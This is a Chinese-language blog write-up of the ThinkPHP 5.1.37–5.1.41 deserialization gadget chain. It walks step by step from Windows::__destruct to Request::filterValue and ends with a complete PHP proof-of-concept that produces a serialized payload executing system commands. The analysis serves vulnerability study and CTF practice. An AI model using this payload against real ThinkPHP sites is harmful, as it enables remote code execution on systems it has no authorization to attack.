ThinkPHP5_反序列化分析

文章发布时间:

最后更新时间:

文章总字数:
2.2k

预计阅读时间:
8 分钟

ThinkPHP5.1 反序列化总结

影响版本:5.1.37-5.1.41

先在index里面加一个反序列化的入口:

image-20230822123827008

由于这个反序列化链实在是太长了,而且需要逆着分析,向上找调用,没法进行调试(调试是顺着分析),所以分成两大部分来分析,第一部分跳跃的类有点多,涉及到了php的多继承和抽象类,第二部分主要集中在Request类中不同方法的互相调用,而连接两个部分的关键在于访问不存在的方法时自动调用的__call方法。

第一部分:

首先是第一部分,反序列化的入口点(根据常识,往往是__destruct魔术方法,因为类总会被销毁,而这个魔术方法就会被自动调用,从而开启pop链),在Windows类的__destruct方法:

image-20230822105418439

跟进close看看,就是一个关闭文件的操作,无法利用,关键在removeFiles,跟进:

image-20230822105510754

可以看到这里的filename我们可以控制,存在任意文件删除漏洞(热知识:只要是类的成员变量,反序列化的时候就可以控制),任意文件删除不是重点,我们的重点是要RCE。看到这个file_exists函数,这个函数通过路径来判断文件是否存在,也就是说传入的参数需要是一个字符串,如果我们控制filename是一个类,就会自动调用该类的__toString方法,于是我们需要寻找一个有危险方法的__toString。看到Conversion.php的__toString方法,注意这里是第一次跳转,从Windows.php到Conversion.php

image-20230822110618256

跟进toJson方法:

image-20230822110648400

可以看到这里调用了toArray方法,跟进:

image-20230822110742702

由于toArray实在是太长了,这里只截出关键的部分:

image-20230822110826859

最关键的一行代码就是$relation->visible($name),这意味这如果我们可以控制relation和name,就可以调用relation这个类的visible方法,且参数由我们控制,或者可以调用relation这个类的__call方法(该类没有visible时就可以自动调用),且参数由我们控制,而之前对tp5RCE中的分析我们也能看出,这个__call很危险,很有可能里面就有call_user_func。

那我们就看看该如何控制relation和name,首先看relation如何获取:先是调用了getRelation方法,注意了,这里我们要的是最终走到192行,故这个if必须满足,也就是说getRelation必须返回空,跟进getRelation,看是否可以控制其返回空(这里有个点需要注意一下,这个getRelation并不在Conversion.php中,而是在RelationShip.php中,因为这两都是trait类,这个this指的是进行了多继承的子类(至少同时继承了Conversion和RelationShip),故可以调用在RelationShip.php中的getRelation方法,这是第二次跳转)

image-20230822111754876

可以看到这里name默认为空,返回了relation,而relation我们还没有进行获取,所以返回的就是空,返回空满足后,回到toArray中,接下来在getAttr方法中真正获取relation(getAttr方法在Attribute类中,这是第三次跳转)

image-20230822112445582

跟进getData方法:

image-20230822112523120

可以看到我们可以控制data,只需要再控制name即可返回我们构造的值,往回看,传入getData的name就是传入getAttr的参数name,也就是toArray中的key,而key可以通过我们传入的append控制,至此,我们成功控制了relation,而$relation->visible($name)的参数name也是通过我们传入的append控制。综上所述只需要控制data和append即可(data[key]用来控制relation,append[key]用来控制name)。接下来需要找到一个同时继承了这三个类的子类(Conversion,RelationShip,Attribute),找到了Model.php里的Model类:

image-20230822090348632

但是这里有个问题,Model是一个抽象类,不能直接实例化,我们需要找到具体实现他的一个子类,找到了Pivot类。

image-20230822115906239

至此,第一阶段结束。

第二部分:

进行第二阶段的准备工作,全局搜索visible,发现没有一个能用的(内不含危险方法),只能找__call,想起了我们的老朋友Request.php,接下来正式进入第二阶段:

image-20230822120109771

可以看到这里有令人安心的call_user_func_array,而且hook可以控制,但是很遗憾,在此之前进行了array_unshift,简单来说就是把this添加到了参数的第一位,如此一来,我们不再能够通过call_user_func_array来直接调用系统命令(因为系统命令参数里面不能加this),转换思路,将call_user_func_array当成一个能够调用Request类内其他方法的跳板(因为加了this)。

想想之前的tp5RCE,也许我们这次也可以通过覆盖filter来进行RCE,找到filterValue方法:

image-20230822121158148

我们要想办法利用的就是filterValue里面的call_user_func来最终执行命令,这需要我们控制filter和value,而tp5RCE告诉我们,filter和value都可以在input方法里面控制:

image-20230822121507131

可以看到这个array_walk_recursive,可以将filter和data传入并调用filterValue,而这个filter是通过getFilter获得的,相当于是获得了this->filter,可以自行控制,但是data目前还不可控,虽然第二个if里面调用了getData,但是:

image-20230822122159302

于是我们要直接控制data,且使得name就是空,就可以跳过这个if,保留我们的data值,往上找找谁调用了input,是否直接传入了可控的参数,找到了param方法:

image-20230822122404622

可以看到这里终于是可以控制的this->param,但是需要注意到第一个if里面还对this->param进行了加工,$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));,虽然我们可以完全不用管这个,直接控制param,但是基于动态命令执行的宗旨,我们可以不控制param,转而控制get参数(url传就行),于是data已经被控制,接下来只需要控制name为空即可。

param()方法中的name还是不可控。虽然param()方法的默认name是空字符串,但是别忘了我们需要使用__call里面的call_user_func_array来当跳板调用它,第一个参数是this,所以这里name还是不可控,继续往上寻找调用了param的方法看是否可控,找到了isAjax函数:

image-20230822123303420

可以看到这里调用param的第一个参数传入的是$this->config['var_ajax'],我们只需要控制它为空即可成功控制name为空。好了,通过call_user_func_array当跳板调用isAjax,pop链就完成了,只需要再控制一下this的参数,即可实现RCE,皆大欢喜,开始写脚本构造序列化内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
namespace think\process\pipes{ //这种很多文件的,记得加上命名空间

use think\model\Pivot; //需要用到什么,需要用use来引入

class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot(); //反序列化入口,控制filename
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'a'=>new Request() //这是用来控制relation的,连接第二阶段
);
$this->append=array(
'a'=>array(
'hello'=>'world' //这是用来控制name的,其实根本没用,因为我们并没有用到visible这个函数,所以只需要key一样即可,至于value是什么不重要
)
);
}
}
}
namespace think\model{

use think\Model;

class Pivot extends Model //这是用来在poc中生成payload
{

}
}
namespace think{ //前面是第一阶段,这里开始时第二阶段的控制
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '', //这是用来符合isAjax方法的
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax']; //这是用来控制call_user_func_array跳板链接到的方法的
$this->filter="system"; //这是用来控制filter的
}
}
}
namespace{

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows())); //序列化当然是序列化入口
}

image-20230822125209528

可以看到成功进行了RCE。

话说这条链真的是有点太长了,复现都挺麻烦了,真想知道是怎么挖出来的

更多这条利用链的变体可以参考ctfshow上相关的题。

参考链接

Thinkphp 反序列化利用链深入分析 (seebug.org)

Thinkphp5.1 反序列化漏洞复现_thinkphp5.1.41漏洞_bfengj的博客-CSDN博客